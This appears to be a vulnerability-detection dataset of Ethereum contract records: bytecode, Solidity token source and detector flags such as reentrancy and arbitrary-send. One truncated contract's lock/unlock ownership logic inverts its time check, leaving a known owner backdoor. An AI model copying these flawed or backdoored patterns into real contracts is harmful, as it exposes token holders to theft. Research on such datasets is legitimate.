09152600154604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156120c757600080fd5b505afa1580156120db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120ff9190612751565b8160018151811061211257612112612b59565b6001600160a01b03928316602091820292909201015260015460405163791ac94760e01b815291169063791ac94790612158908690600090869030904290600401612974565b600060405180830381600087803b15801561217257600080fd5b505af1158015612186573d6000803e3d6000fd5b50505050600082476121989190612b2c565b6013549091506000906121c19060ff6201000082048116916110e3918691610100900416611f86565b905060006121cf8284612b2c565b6004546040519192506001600160a01b03169082156108fc029083906000818181858888f1935050505015801561220a573d6000803e3d6000fd5b50600d546040516001600160a01b039091169083156108fc029084906000818181858888f19350505050158015612245573d6000803e3d6000fd5b50505050505050505b506004805460ff60a01b19169055565b6000611bc982846129e5565b6001600160a01b03831660009081526015602052604081208054839290612292908490612b2c565b90915550506001600160a01b038216600090815260156020526040812080548392906122bf9084906129e5565b92505081905550816001600160a01b0316836001600160a01b0316600080516020612b9383398151915283604051611cb791815260200190565b6001600160a01b03831660009081526007602052604090205460ff1615801561233b57506001600160a01b03821660009081526007602052604090205460ff16155b6123755760405162461bcd60e51b815260206004820152600b60248201526a109b1858dadb1a5cdd195960aa1b6044820152606401610f29565b600154600160a01b900460ff166123cd57600154600160a81b900460ff166123c85760405162461bcd60e51b8152600401610f2990602080825260049082015263053544f560e41b604082015260600190565b612412565b600154600160a81b900460ff1661241257816001600160a01b0316836001600160a01b0316600080516020612b938339815191526000604051611cb791815260200190565b6001600160a01b03831660009081526008602052604090205460ff166124465761243a6112bb565b81111561244657600080fd5b6001600160a01b03821660009081526009602052604090205460ff1661250157600f54600c54606491612486916501000000000090910460ff1690612b0d565b61249091906129fd565b6001600160a01b0383166000908152601560205260409020546124b49083906129e5565b106125015760405162461bcd60e51b815260206004820152601760248201527f4d61782077616c6c6574206f6e20726563697069656e740000000000000000006044820152606401610f29565b6017546000906001600160a01b038481169116148061252d57506000546001600160a01b038481169116145b905060008061253c84846126b0565b6014543060009081526015602052604090205492945090925010801561256a5750600f54610100900460ff16155b80156125805750600454600160a01b900460ff16155b156125a85782801561259a5750600f54610100900460ff16155b156125a8576125a884611f92565b6001600160a01b0386166000908152601560205260409020546125cb9085612712565b6001600160a01b0380881660009081526015602052604080822093909355908716815220546125fa908361225e565b6001600160a01b038616600090815260156020526040808220929092553081522054612626908261225e565b30600081815260156020526040908190209290925590516001600160a01b03881690600080516020612b93833981519152906126659085815260200190565b60405180910390a3846001600160a01b0316866001600160a01b0316600080516020612b93833981519152846040516126a091815260200190565b60405180910390a3505050505050565b600080600083156126ce5750600f546301000000900460ff166126dc565b50600f5462010000900460ff165b600060646126ed60ff841688612b0d565b6126f791906129fd565b905060006127058288612b2c565b9791965090945050505050565b6000611bc98284612b2c565b803560ff8116811461272f57600080fd5b919050565b60006020828403121561274657600080fd5b8135611bc981612b6f565b60006020828403121561276357600080fd5b8151611bc981612b6f565b6000806040838503121561278157600080fd5b823561278c81612b6f565b9150602083013561279c81612b6f565b809150509250929050565b6000806000606084860312156127bc57600080fd5b83356127c781612b6f565b925060208401356127d781612b6f565b929592945050506040919091013590565b600080604083850312156127fb57600080fd5b823561280681612b6f565b9150602083013561279c81612b84565b6000806040838503121561282957600080fd5b823561283481612b6f565b946020939093013593505050565b60006020828403121561285457600080fd5b8135611bc981612b84565b60006020828403121561287157600080fd5b8151611bc981612b84565b60006020828403121561288e57600080fd5b5035919050565b6000602082840312156128a757600080fd5b5051919050565b6000602082840312156128c057600080fd5b611bc98261271e565b600080604083850312156128dc57600080fd5b6128e58361271e565b91506128f36020840161271e565b90509250929050565b600060208083528351808285015260005b818110156129295785810183015185820160400152820161290d565b8181111561293b576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252600990820152683737ba1037bbb732b960b91b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156129c45784516001600160a01b03168352938301939183019160010161299f565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156129f8576129f8612b43565b500190565b600082612a1a57634e487b7160e01b600052601260045260246000fd5b500490565b600181815b80851115612a5a578160001904821115612a4057612a40612b43565b80851615612a4d57918102915b93841c9390800290612a24565b509250929050565b6000611bc960ff841683600082612a7b57506001610e92565b81612a8857506000610e92565b8160018114612a9e5760028114612aa857612ac4565b6001915050610e92565b60ff841115612ab957612ab9612b43565b50506001821b610e92565b5060208310610133831016604e8410600b8410161715612ae7575081810a610e92565b612af18383612a1f565b8060001904821115612b0557612b05612b43565b029392505050565b6000816000190483118215151615612b2757612b27612b43565b500290565b600082821015612b3e57612b3e612b43565b500390565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b03811681146113b557600080fd5b80151581146113b557600080fdfeddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa264697066735822122008abeb8bbb359778f5c0fec14e7a35ecde3535c058ad83321caf224b501ee40b64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'uninitialized-state', 'impact': 'High', 'confidence': 'High'}, {'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2094, 2683, 4783, 2683, 2549, 2497, 2094, 22203, 2692, 21996, 26337, 6679, 18827, 2278, 22932, 20952, 2278, 19317, 2098, 24096, 11057, 2692, 14142, 2487, 1013, 1008, 1008, 6160, 2188, 27754, 1002, 8369, 2003, 1996, 2451, 19204, 2005, 27754, 1012, 2057, 2318, 2017, 2125, 2007, 1015, 3802, 2232, 1999, 6381, 3012, 1010, 1037, 4037, 1998, 1996, 19204, 25524, 1012, 2045, 2003, 1037, 2184, 1003, 4171, 1010, 1021, 1003, 2003, 2005, 5821, 1010, 4965, 12221, 1998, 7641, 2029, 2057, 2097, 2079, 2802, 2000, 2393, 2035, 1996, 27754, 1012, 1996, 2060, 1017, 1003, 2003, 2005, 2458, 1012, 2458, 2017, 3198, 1029, 2054, 1037, 6047, 23957, 1012, 2008, 2003, 2039, 2000, 2017, 1010, 1996, 2030, 5654, 13210, 3619, 999, 2433, 1037, 23921, 1998, 1013, 2030, 12532, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,469
0x96d9fb32134e57f16cea2c3adb6618b80b236ed2
/** *Submitted for verification at Etherscan.io on 2021-05-15 */ /** *Submitted for verification at Etherscan.io on 2021-05-11 */ pragma solidity ^0.5.0; contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Safe Math Library // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract SafeAkitaInu is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { name = "Safe Akita Inu"; symbol = "SafeKita"; decimals = 18; _totalSupply = 1000000000000000000000000000000; balances[msg.sender] = 1000000000000000000000000000000; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } }
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c806395d89b411161008c578063b5931f7c11610066578063b5931f7c1461044b578063d05c78da14610497578063dd62ed3e146104e3578063e6cb90131461055b576100ea565b806395d89b4114610316578063a293d1e814610399578063a9059cbb146103e5576100ea565b806323b872dd116100c857806323b872dd146101f6578063313ce5671461027c5780633eaaf86b146102a057806370a08231146102be576100ea565b806306fdde03146100ef578063095ea7b31461017257806318160ddd146101d8575b600080fd5b6100f76105a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013757808201518184015260208101905061011c565b50505050905090810190601f1680156101645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610645565b604051808215151515815260200191505060405180910390f35b6101e0610737565b6040518082815260200191505060405180910390f35b6102626004803603606081101561020c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610782565b604051808215151515815260200191505060405180910390f35b610284610a12565b604051808260ff1660ff16815260200191505060405180910390f35b6102a8610a25565b6040518082815260200191505060405180910390f35b610300600480360360208110156102d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a2b565b6040518082815260200191505060405180910390f35b61031e610a74565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561035e578082015181840152602081019050610343565b50505050905090810190601f16801561038b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103cf600480360360408110156103af57600080fd5b810190808035906020019092919080359060200190929190505050610b12565b6040518082815260200191505060405180910390f35b610431600480360360408110156103fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b2c565b604051808215151515815260200191505060405180910390f35b6104816004803603604081101561046157600080fd5b810190808035906020019092919080359060200190929190505050610cb5565b6040518082815260200191505060405180910390f35b6104cd600480360360408110156104ad57600080fd5b810190808035906020019092919080359060200190929190505050610cd5565b6040518082815260200191505060405180910390f35b610545600480360360408110156104f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d02565b6040518082815260200191505060405180910390f35b6105916004803603604081101561057157600080fd5b810190808035906020019092919080359060200190929190505050610d89565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561063d5780601f106106125761010080835404028352916020019161063d565b820191906000526020600020905b81548152906001019060200180831161062057829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600460008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460035403905090565b60006107cd600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610896600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061095f600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610d89565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b60035481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b0a5780601f10610adf57610100808354040283529160200191610b0a565b820191906000526020600020905b815481529060010190602001808311610aed57829003601f168201915b505050505081565b600082821115610b2157600080fd5b818303905092915050565b6000610b77600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c03600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610d89565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808211610cc357600080fd5b818381610ccc57fe5b04905092915050565b600081830290506000831480610cf3575081838281610cf057fe5b04145b610cfc57600080fd5b92915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000818301905082811015610d9d57600080fd5b9291505056fea265627a7a72315820a03d683b8fa200ff75f31a74b305504da07ff85a20585908834d6951ed82770664736f6c63430005110032
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2094, 2683, 26337, 16703, 17134, 2549, 2063, 28311, 2546, 16048, 21456, 2475, 2278, 2509, 4215, 2497, 28756, 15136, 2497, 17914, 2497, 21926, 2575, 2098, 2475, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5709, 1011, 2321, 1008, 1013, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5709, 1011, 2340, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 1014, 1025, 3206, 9413, 2278, 11387, 18447, 2121, 12172, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 19204, 12384, 2121, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 5703, 1007, 1025, 3853, 21447, 1006, 4769, 19204, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,470
0x96dadba0338f2898ce0a1fe0d73c06b0c9cbb01f
// SPDX-License-Identifier: MIT /** ███ ███ █████ ██████ █████ ██████ █████ ███████ ██████ █████ ██████ ████ ████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ████ ██ ███████ ██ ██ ███████ ██ ███ ███████ ███████ ██ ███████ ██████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██████ ██ ██ ██████ ██ ██ ███████ ██████ ██ ██ ██ ██ */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msg.sender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function geUnlockTime() public view returns (uint256) { return _lockTime; } //Locks the contract for owner for the amount of time provided function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = now + time; emit OwnershipTransferred(_owner, address(0)); } //Unlocks the contract for owner when _lockTime is exceeds function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(now < _lockTime , "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } } // pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns 